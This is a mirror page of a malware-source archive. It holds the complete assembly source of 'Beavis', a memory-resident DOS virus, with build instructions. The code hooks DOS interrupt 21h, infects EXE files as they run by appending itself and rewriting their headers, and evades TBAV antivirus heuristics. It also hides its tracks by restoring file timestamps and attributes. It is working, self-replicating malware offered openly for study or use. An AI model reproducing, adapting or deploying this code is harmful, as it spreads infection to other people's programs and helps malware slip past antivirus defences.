mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
382 lines
11 KiB
NASM
382 lines
11 KiB
NASM
;****************************************************************************
|
|
;* Beavis *
|
|
;* by Crypt Keeper *
|
|
;****************************************************************************
|
|
|
|
;Beavis is a memory resident infector of EXE files that infects files as
|
|
;they are executed. It only loads itself resident if a high memory manager
|
|
;is present, loading itself into the UMB (above 640k). It triggers randomly
|
|
;at file execution, displaying a random Beavis quote from Beavis and Butthead.
|
|
|
|
;TASM BEAVIS.ASM /M3
|
|
;TLINK BEAVIS.OBJ
|
|
;EXE2BIN BEAVIS.EXE BEAVIS.COM
|
|
;.COM file is ready to run with no modifications.
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
vtop equ $ ;top of virus code block
|
|
|
|
;Equates --------------------------------------------------------------------
|
|
|
|
vlength equ vbot-vtop ;virus length in bytes
|
|
heapsiz equ hbot-heap ;heap size in bytes
|
|
vlres equ ((vlength+heapsiz)/16)+1 ;virus length in paragraphs
|
|
vlpage equ (vlength/512)+1 ;virus length in pages
|
|
chkfunc equ 9AD5h ;check resident int 21h function
|
|
virusid equ 150h ;virus ID word in exeheader
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
cld ;clear direction flag
|
|
|
|
db 0BDh ;mov bp,
|
|
delta dw 100h ;delta offset
|
|
|
|
lea sp,[bp+(offset(sspace)+30)] ;set up new stack
|
|
|
|
push ds
|
|
push es ;save original EXE segments
|
|
|
|
mov ax,chkfunc
|
|
xor cx,cx
|
|
mov ds,cx
|
|
pushf ;This calls INT 21h while eliminating
|
|
call dword ptr ds:[21h*4] ;TBAV's undocumented DOS call flag.
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
cmp ax,chkfunc-1 ;did virus return reply?
|
|
jne install ;if not, install resident
|
|
|
|
jmp return ;if so, return to original program
|
|
|
|
install:
|
|
mov ax,3521h ;get int 21h vector
|
|
int 21h
|
|
|
|
mov [bp+offset(i21veco)],bx
|
|
mov [bp+offset(i21vecs)],es
|
|
|
|
mov ax,4300h ;get himem.sys installed state
|
|
int 2Fh ;multiplex interrupt
|
|
|
|
cmp al,80h ;80h in al means himem.sys is loaded
|
|
jne return ;Return if no High-Memory manager
|
|
|
|
mov ax,4310h ;get himem.sys entry point adress
|
|
int 2Fh
|
|
|
|
mov [bp+offset(himem_s)],es
|
|
mov [bp+offset(himem_o)],bx ;himem.sys entry point
|
|
|
|
mov ah,10h ;allocate UMB (function 10h)
|
|
mov dx,vlres ;paragraphs to request
|
|
|
|
call dword ptr [bp+offset(himem_o)] ;call himem.sys
|
|
mov es,bx ;BX will contain segment of memory
|
|
|
|
mov si,bp ;bp=start of virus code
|
|
mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data
|
|
xor di,di
|
|
|
|
rep movsw ;copy virus code up there
|
|
|
|
push es
|
|
pop ds
|
|
|
|
mov dx,offset(i21vec) ;new int 21h vector
|
|
mov ax,2521h ;set int 21h vector
|
|
int 21h
|
|
|
|
return: mov ah,51h ;Get PSP adress
|
|
int 21h
|
|
|
|
add bx,16 ;Compensate for PSP size
|
|
|
|
pop es
|
|
pop ds ;Restore original ES and DS from EXE
|
|
|
|
cli ;Clear interrupts for stack change
|
|
|
|
mov sp,cs:[bp+offset(old_sp)]
|
|
mov ax,cs:[bp+offset(old_ss)]
|
|
add ax,bx ;Find segment for SS
|
|
mov ss,ax ;Reset original EXE stack
|
|
|
|
sti
|
|
|
|
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
|
|
|
|
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
move_pointer_end:
|
|
xor cx,cx
|
|
xor dx,dx ;move pointer 0 bytes
|
|
|
|
mov ax,4202h ;move pointer to end of file
|
|
int 21h
|
|
ret
|
|
|
|
;Data -----------------------------------------------------------------------
|
|
|
|
talk1 db 'FIRE FIRE FIRE!$'
|
|
talk2 db 'Hey butthead this sucks change the channel!$'
|
|
talk3 db 'Shut up butthead or I''ll kick your ass!$'
|
|
talk4 db 'We''re there dude.$'
|
|
talk5 db 'The Beavis virus kicks ass!$'
|
|
|
|
old_sp dw 0
|
|
old_ss dw 0FFF0h ;Old SS:SP
|
|
old_ip dw 0
|
|
old_cs dw 0FFF0h ;Old CS:IP
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
i21vec: nop
|
|
|
|
xchg ax,cx ;get rid of TBAV's execution intercept
|
|
;heuristic flag.
|
|
|
|
cmp cx,4B00h ;load and execute program?
|
|
je vtrigger
|
|
|
|
cmp cx,4B01h ;load program?
|
|
je vtrigger
|
|
|
|
xchg ax,cx
|
|
|
|
cmp ax,chkfunc ;check if virus is resident?
|
|
je return_reply
|
|
|
|
jmp dword ptr cs:i21veco
|
|
return_reply:
|
|
dec ax ;decrement AX
|
|
iret ;return from interrupt
|
|
vtrigger:
|
|
xchg ax,cx
|
|
|
|
push ax si bx cx di es ds dx ;save all used registers
|
|
|
|
mov ax,4300h ;get file attributes
|
|
int 21h
|
|
|
|
jc exitvec ;exit if filename invalid
|
|
|
|
mov cs:oldattr,cx ;save old file attributes
|
|
|
|
xor cx,cx ;set attributes to normal
|
|
mov ax,4301h ;set file attributes
|
|
int 21h
|
|
|
|
mov ax,3D02h ;open file for read/write access
|
|
int 21h
|
|
|
|
jc exitvec ;exit if open permission denied
|
|
|
|
mov bx,ax ;file handle
|
|
push cs
|
|
pop ds
|
|
|
|
mov ax,5700h ;get file date and time
|
|
int 21h
|
|
|
|
mov olddate,dx
|
|
mov oldtime,cx ;save old file date and time
|
|
|
|
mov cx,28 ;28 bytes to read
|
|
mov dx,offset(readbuffer) ;buffer to recieve data
|
|
|
|
mov ah,3Fh ;read file or device
|
|
int 21h
|
|
|
|
cmp ax,28
|
|
jb closeexit ;close and exit if file too small
|
|
|
|
cmp init_sp,virusid ;is file alredy infected?
|
|
je closeexit
|
|
|
|
mov ax,idword
|
|
xor ax,0ABCDh ;kill TBAV's check exe/com flag
|
|
cmp ax,0E697h
|
|
je infect_exe
|
|
cmp ax,0F180h
|
|
je infect_exe ;if MZ or ZM, go ahead and infect
|
|
|
|
jmp short closeexit ;if not, don't infect
|
|
|
|
exitvec:
|
|
pop dx ds es di cx bx si ax ;restore all used registers
|
|
|
|
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
|
closeexit:
|
|
mov cx,oldtime
|
|
mov dx,olddate ;restore old time and date
|
|
|
|
mov ax,5701h ;set file date and time
|
|
int 21h
|
|
|
|
mov ah,3Eh ;close file with handle
|
|
int 21h
|
|
|
|
mov cx,cs:oldattr ;old file attributes
|
|
pop dx ds
|
|
push ds dx ;get old filename off stack
|
|
|
|
mov ax,4301h ;set file attributes
|
|
int 21h
|
|
|
|
mov ah,2Ch ;get time
|
|
int 21h
|
|
|
|
cmp cl,dh ;do seconds and minutes line up?
|
|
jne exitvec ;if not, no trigger
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
inc dl
|
|
mov al,dl
|
|
xor ah,ah
|
|
mov bl,20
|
|
div bl ;convert to random number 0-5
|
|
|
|
cmp al,0
|
|
je _talk1
|
|
cmp al,1
|
|
je _talk2
|
|
cmp al,2
|
|
je _talk3
|
|
cmp al,3
|
|
je _talk4
|
|
cmp al,4
|
|
je _talk5 ;select message
|
|
|
|
_talk1: mov dx,offset(talk1)
|
|
jmp short _talk
|
|
_talk2: mov dx,offset(talk2)
|
|
jmp short _talk
|
|
_talk3: mov dx,offset(talk3)
|
|
jmp short _talk
|
|
_talk4: mov dx,offset(talk4)
|
|
jmp short _talk
|
|
_talk5: mov dx,offset(talk5)
|
|
|
|
_talk: mov ah,9 ;print string
|
|
int 21h
|
|
|
|
jmp short exitvec ;exit
|
|
|
|
infect_exe:
|
|
les si,dword ptr ds:init_ss ;get initial SS:SP (reversed)
|
|
mov old_ss,si
|
|
mov old_sp,es
|
|
|
|
les si,dword ptr ds:init_ip ;get initial CS:IP
|
|
mov old_cs,es
|
|
mov old_ip,si
|
|
|
|
call move_pointer_end ;move file pointer to end of file
|
|
|
|
mov cx,10h
|
|
div cx ;convert to paragraphs
|
|
|
|
push ax
|
|
sub ax,hsize ;subtract header size in paragraphs
|
|
|
|
pop cx
|
|
cmp ax,cx
|
|
ja _closeexit ;If file too small, end infection
|
|
|
|
mov init_cs,ax
|
|
mov init_ip,dx ;set initial CS:IP in exe header
|
|
mov delta,dx ;set delta offset in virus
|
|
|
|
mov init_sp,virusid
|
|
mov init_ss,ax ;set initial SS:SP in exe header
|
|
|
|
add word ptr ds:minmem,vlres ;add virus length to minimum memory
|
|
|
|
mov cx,vlength ;number of bytes in virus
|
|
xor dx,dx
|
|
|
|
mov ah,40h ;write file or device
|
|
int 21h
|
|
|
|
call move_pointer_end ;move file pointer to end of file
|
|
|
|
mov cx,512
|
|
div cx ;change bytes in new file to pages
|
|
cmp dx,0 ;no remainder?
|
|
je go_ahead_set
|
|
|
|
inc ax ;if remainder, add another page
|
|
|
|
go_ahead_set:
|
|
mov word ptr pages,ax
|
|
mov word ptr lastpg,dx ;set EXE file size
|
|
|
|
xor dx,dx
|
|
xor cx,cx
|
|
|
|
mov ax,4200h ;move file pointer to beginning of file
|
|
int 21h
|
|
|
|
mov cx,28 ;28 bytes in header
|
|
mov dx,offset(readbuffer)
|
|
|
|
mov ah,40h ;write file or device
|
|
int 21h
|
|
|
|
_closeexit:
|
|
jmp closeexit ;close and exit
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
copr db '[BEAVIS] by Crypt Keeper'
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
vbot equ $ ;bottom of virus code
|
|
heap equ $ ;Beginning of heap
|
|
|
|
readbuffer:
|
|
idword dw 0 ;ID word
|
|
lastpg dw 0 ;Number of bytes in last page
|
|
pages dw 0 ;Total pages
|
|
segent dw 0 ;number of entries in segment table
|
|
hsize dw 0 ;header size in paragraphs
|
|
minmem dw 0 ;minimum memory to request
|
|
maxmem dw 0 ;maximum memory to request
|
|
init_ss dw 0 ;initial SS value
|
|
init_sp dw 0 ;initial SP value
|
|
negchk dw 0 ;negative checksum
|
|
init_ip dw 0 ;initial IP value
|
|
init_cs dw 0 ;initial CS value
|
|
reltab dw 0 ;offset of relocation table from header
|
|
ovnum dw 0 ;overlay number
|
|
|
|
himem_o dw 0
|
|
himem_s dw 0 ;himem.sys entry point adress
|
|
|
|
i21veco dw 0
|
|
i21vecs dw 0 ;int 21h vector
|
|
|
|
oldattr dw 0 ;old file attributes
|
|
|
|
oldtime dw 0
|
|
olddate dw 0 ;old saved time and date
|
|
|
|
hbot equ $ ;bottom of heap
|
|
|
|
sspace db 32 dup (0) ;virus stack space
|
|
;not used when resident so not
|
|
;included in heap space
|
|
|
|
end
|
|
|